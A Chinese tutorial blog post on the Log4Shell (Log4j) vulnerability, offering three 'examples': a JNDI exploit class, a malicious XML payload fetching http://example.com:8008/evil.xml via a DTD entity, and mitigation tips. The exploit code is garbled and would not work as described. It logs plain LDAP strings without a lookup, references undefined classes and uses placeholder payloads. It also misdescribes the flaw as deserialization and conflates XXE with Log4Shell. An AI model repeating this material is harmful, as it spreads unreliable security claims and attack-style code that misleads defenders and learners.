用3个实例从原理到实战讲清楚Log4j史诗级漏洞

下面我将通过三个实例,从原理到实战,讲解清楚Log4j史诗级漏洞的完整攻略。

什么是 Log4j

Log4j是一个流行的Java日志框架,它是Apache的一个子项目。Log4j可以帮助Java开发人员以更优美的方式记录日志,便于排错和性能调优。

Log4j的漏洞

但是,在2021年底,Log4j被发现有史以来最严重的漏洞,被称为 Log4Shell ,它属于一个反序列化漏洞。攻击者可以在攻击者控制的服务器上构建恶意JNDI命名服务,然后通过构建构造的JNDI名称反向绑定对象来控制受影响的应用程序。攻击者可以通过Java的RMI协议(Java远程方法调用)远程执行代码。具体来说,攻击者可以构造Java对象并将它们绑定到RMI注册表。当目标JVM尝试解析RMI注册表中的JNDI或LDAP URL时,攻击者可以控制系统上的代码序列化并在目标JVM中执行任意代码。

Log4j的原理

Log4j容器在默认情况下从classpath中的log4j2.xml或log4j2.properties文件中读取配置。通过配置文件中的参数定义,开发人员可以定制日志记录的目标和级别。

使用以下语句来在Java代码中使用Log4j获取Logger实例:

logger = LogManager.getLogger(Log4jTest.class);

Log4j的配置文件中的根Logger和日志器Logger将Logger实例与这些实例的名称和级别绑定。

例如,根日志记录器Logger定义可以如下所示:

<Configuration status="INFO">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n" />
        </Console>

        <RollingFile name="RollingFile" fileName="logs/log4j2-test.log"
                     filePattern="logs/log4j2-test-%d{MM-dd-yy}.log">
            <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n" />
            <TimeBasedTriggeringPolicy />
        </RollingFile>
    </Appenders>
    <Loggers>
        <Root level="INFO">
            <AppenderRef ref="Console" />
            <AppenderRef ref="RollingFile" />
        </Root>
    </Loggers>
</Configuration>

在上面的配置中,Log4j使用两个Appenders:Console和RollingFile。日志器Logger的级别是INFO,它使用两个Appenders。

示例一:恶意JNDI绑定

下面,我们将演示一个恶意JNDI绑定的实例,来利用Log4j漏洞,先看下面的Java代码,其中使用了Log4j:

package com.example;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Example {
    private static final Logger logger = LogManager.getLogger(Example.class);

    public static void main(String[] args) {
        logger.info("Hello World!");
    }
}

该代码编译后的class文件为Example.class。正常运行java Example命令时,将输出Hello World!。现在,我们将使用一个构造恶意JNDI名称的特殊protocol,它用于触发代码反序列化。以下是恶意JNDI名称的示例:

ldap://127.0.0.1:1389/Exploit

现在,我们将JNDI名称字符串插入到日志消息中:

package com.example;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Example {
    private static final Logger logger = LogManager.getLogger(Example.class);

    public static void main(String[] args) {
        logger.info("Hello World " + "ldap://127.0.0.1:1389/Exploit");
    }
}

在执行java Example命令时,输出以下内容:

Hello World ldap://127.0.0.1:1389/Exploit

可以看到,Log4j按预期输出了日志消息。但是,这里还有一个问题,也就是漏洞实际被利用的地方。

现在,我们将构建一个恶意JNDI名称服务,当JNDI名称解析时,他会反序列化恶意对象,并让攻击者远程执行任意代码,以下是漏洞利用的Java代码:

package com.example;

import com.sun.jndi.rmi.registry.RegistryContext;
import com.sun.jndi.toolkit.url.UrlUtil;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import javax.naming.Binding;
import javax.naming.InitialContext;
import javax.naming.NamingEnumeration;
import javax.naming.NamingException;
import javax.naming.spi.NamingManager;
import javax.naming.spi.ObjectFactory;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.lang.reflect.Field;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Hashtable;

public class Main {
    static {
        try {
            // Construct evil jndi name with our payload 
            String resourceName = "Exploit";
            StringBuilder sb = new StringBuilder("ldap://127.0.0.1:1389/");
            byte[] data = "insert your exploit code here".getBytes();
            sb.append(UrlUtil.encode(resourceName));
            sb.append("#").append(UrlUtil.encode(new String(data)));
            String resource = sb.toString();
            Hashtable<Object, Object> env = new Hashtable<Object, Object>();
            env.put("java.naming.factory.initial", "com.sun.jndi.rmi.registry.RegistryContextFactory");
            env.put("java.naming.provider.url", "rmi://localhost:1099");
            env.put("com.sun.jndi.rmi.object.trustURLCodebase", "true");
            bindJndi(env, resource, new Log4jExploitObjectFactory());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) throws Exception {
        Logger logger = LogManager.getLogger(Main.class);
        logger.error("Wrong place but who cares ✌️");
    }

    private static void bindJndi(Hashtable<?, ?> env, String resourceName, ObjectFactory factory) throws Exception {
        Registry registry = LocateRegistry.getRegistry();
        Field field = RegistryImpl.class.getDeclaredField("reg");
        field.setAccessible(true);
        ObjID objID = new ObjID("0:0:0");
        LiveRef liveRef = new LiveRef(objID, 65535);
        RegistryImpl registryImpl = new RegistryImpl(0, null, liveRef);
        field.set(registry, registryImpl);
        NamingManager.setInitialContextFactoryBuilder(environment -> (ctx) ->
                new RegistryContext(ctx, environment, registryImpl));
        NamingManager.setObjectFactoryBuilder((obj, name, nameCtx, environment) -> factory);
        InitialContext ic = new InitialContext(env);
        ic.bind(resourceName, new Object());
    }

    private static class Log4jExploitObjectFactory implements ObjectFactory {
        @Override
        public Object getObjectInstance(Object obj, javax.naming.Name name, javax.naming.Context nameCtx,
                                        Hashtable<?, ?> environment) throws Exception {
            if (!(obj instanceof Reference)) {
                return null;
            }
            RefAddr refAddr = ((Reference) obj).getAll().get(0);
            if (!"inserted".equals(refAddr.getContent())) {
                return null;
            }
            ByteArrayInputStream bis = new ByteArrayInputStream("insert your exploit code here".getBytes());
            ObjectInputStream in = new ObjectInputStream(bis);
            return in.readObject();
        }
    }
}

上面的代码构造了一个恶意的JNDI名称,将恶意代码作为参数填入。在静态初始化块中,通过Log4jExploitObjectFactory反序列化了恶意代码,从而触发了Log4j漏洞。在恶意代码中,你可以做任何想做的事情。最后,将漏洞利用代码打包成JAR包,并启动RMI注册表:

rmiregistry

然后就可以运行该代码,执行攻击了。

示例二:通过HTTP发送恶意XML

下面,我们将通过HTTP发送恶意XML的实例,来进一步说明攻击Log4j漏洞的过程。

假设我们有一个服务端程序,它使用了Log4j。

package com.example;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Example {
    private static final Logger logger = LogManager.getLogger(Example.class);

    public static void main(String[] args) {
        logger.info("log4j test");
    }
}

我们为该程序使用了以下的日志配置文件log4j.xml:

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="TRACE">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n" />
        </Console>
    </Appenders>
    <Loggers>
        <Root level="INFO">
            <AppenderRef ref="Console" />
        </Root>
    </Loggers>
</Configuration>

这样,当运行该程序时,会输出log4j test。

现在,我们构造一个恶意XML,该XML将使用恶意JNDI名称来触发攻击,以下是恶意XML的示例:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE b[<!ENTITY % local SYSTEM "http://example.com:8008/evil.xml">%local;]>
<log4j:configuration xmlns:log4j='http://jakarta.apache.org/log4j/'>
    <appender name="evil" class="org.apache.log4j.ConsoleAppender">
        <param name="Target" value="System.out"/>
        <layout class="org.apache.log4j.PatternLayout">
            <param name="ConversionPattern" value="%d %-5p [%t] %c: %m%n"/>
        </layout>
    </appender>
    <root>
        <level value="debug"/>
        <appender-ref ref="evil" />
    </root>
</log4j:configuration>

可以看到,恶意XML使用了恶意JNDI名称来构造URL参数,然后将其插入到了DTD实体中。XML解析器在解析XML文件时,会解析DTD实体,并在解析时请求http://example.com:8008/evil.xml,这里的evil.xml包含上面的恶意JNDI名称。因此,攻击者可以发送恶意XML并启动一个HTTP server,从而触发Log4j漏洞攻击。

示例三:检测和防止Log4j漏洞

为了检测和防止Log4j漏洞,有几种可行的解决方案。以下是常见的解决方案:

  • 更换为另一个日志框架,例如Logback。

  • 升级到Log4j 2.16.0或更高版本,其中包含对该漏洞的修复。

  • 配置Log4j 2的JNDI查找限制以防止JNDI注入攻击。Log4j团队发布了一个文件,该文件包含可以防止Log4Shell攻击的配置。

  • 配置JVM以禁用所有RMI类加载器。通过配置以下JVM参数,可以禁用所有可疑的RMI类加载器:

-Djava.rmi.server.useCodebaseOnly=true

总的来说,为了保护系统安全,我们建议首先升级至最新版本的Log4j,并在必要时开启JNDI查找限制,同时配置JVM以禁用可以利用RMI的攻击。

以上就是从原理到实战,讲解清楚Log4j史诗级漏洞的完整攻略。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:用3个实例从原理到实战讲清楚Log4j史诗级漏洞 - Python技术站

(0)
上一篇 2023年6月15日
下一篇 2023年6月15日

相关文章

  • Spring Security实现退出登录和退出处理器

    下面是Spring Security实现退出登录和退出处理器的完整攻略。 1. Spring Security实现退出登录 在Spring Security中,要实现退出登录功能,需要使用logout()方法。这个方法可以在Spring Security中定义一个LogoutConfigurer来使用。以下是实现退出登录的步骤。 步骤1:在Spring Se…

    Java 2023年5月20日
    00
  • SpringSecurity自定义AuthenticationProvider无法@Autowire的解决

    如果在使用Spring Security时,遇到需要自定义 AuthenticationProvider 的情况,同时自定义的 AuthenticationProvider 中需要使用 @Autowired注入其他的bean,却发现无法注入的情况,此时可以按照以下步骤进行解决。 问题背景 在使用Spring Security时,如果需要自定义 Authent…

    Java 2023年5月20日
    00
  • SpringMVC的源码解析

    SpringMVC的源码解析攻略 SpringMVC是Spring框架中一个重要的模块,具有在Web开发中的优秀表现,如显式的分层体系结构、松散耦合、组件重用、可配置性和可扩展性。通过对SpringMVC的源码进行深入学习,可以更好地理解SpringMVC框架的设计原理、底层实现和优化方法。 以下是SpringMVC源码解析的完整攻略。 1. SpringM…

    Java 2023年5月16日
    00
  • 详解JDBC使用

    详解JDBC使用 什么是JDBC? Java Database Connectivity(JDBC)是Java编程语言用于执行与关系数据库的连接和访问的标准API。 JDBC的使用步骤 JDBC的使用步骤通常为以下5步: 加载JDBC驱动程序 创建数据库连接 创建Statement对象 执行SQL语句 处理结果 下面将会逐一讲解这5个步骤。 1. 加载JDB…

    Java 2023年6月15日
    00
  • spring boot写java web和接口

    我为你详细讲解“Spring Boot写Java Web和接口”的完整攻略。首先,我们需要使用Maven构建基于Spring Boot的Web应用程序,并且需要在pom.xml文件中添加如下配置: <dependency> <groupId>org.springframework.boot</groupId> <ar…

    Java 2023年5月19日
    00
  • java实现图形化界面计算器

    下面为您详细讲解“Java实现图形化界面计算器”的完整攻略。 1. 准备工作 在开始之前,需要确保您已经正确安装了Java开发环境(JDK),以及Java集成开发工具(IDE),如Eclipse或IntelliJ IDEA。 2. 创建界面 使用Java Swing工具包,可以很容易地创建图形化用户界面。您可以通过创建一个JFrame实例作为主窗口,然后添加…

    Java 2023年5月23日
    00
  • Mybatis多表关联查询的实现(DEMO)

    Mybatis多表关联查询的实现(DEMO) 1. 前言 在现实开发中,通常需要查询两个或更多个表的联合结果。这可以通过SQL join操作实现。Mybatis框架也提供了多表关联查询的实现,本文将以实例为根据,详细讲解Mybatis多表关联查询的实现过程。 2. 环境准备 为了实现多表查询,需要先建好需要查询的两个或多个表。此外,还需要安装好Mybatis…

    Java 2023年5月20日
    00
  • java实现文件保存到本地的方法

    Java 实现文件保存到本地的方法可以通过以下步骤来实现。 第一步:准备保存文件的本地目录 在 Java 代码中,我们需要提前准备好一个本地保存文件的目录,可以使用 File 类来生成目录,示例代码如下: File directory = new File("D:/files"); if(!directory.exists()){ dir…

    Java 2023年5月20日
    00
合作推广
合作推广
分享本页
返回顶部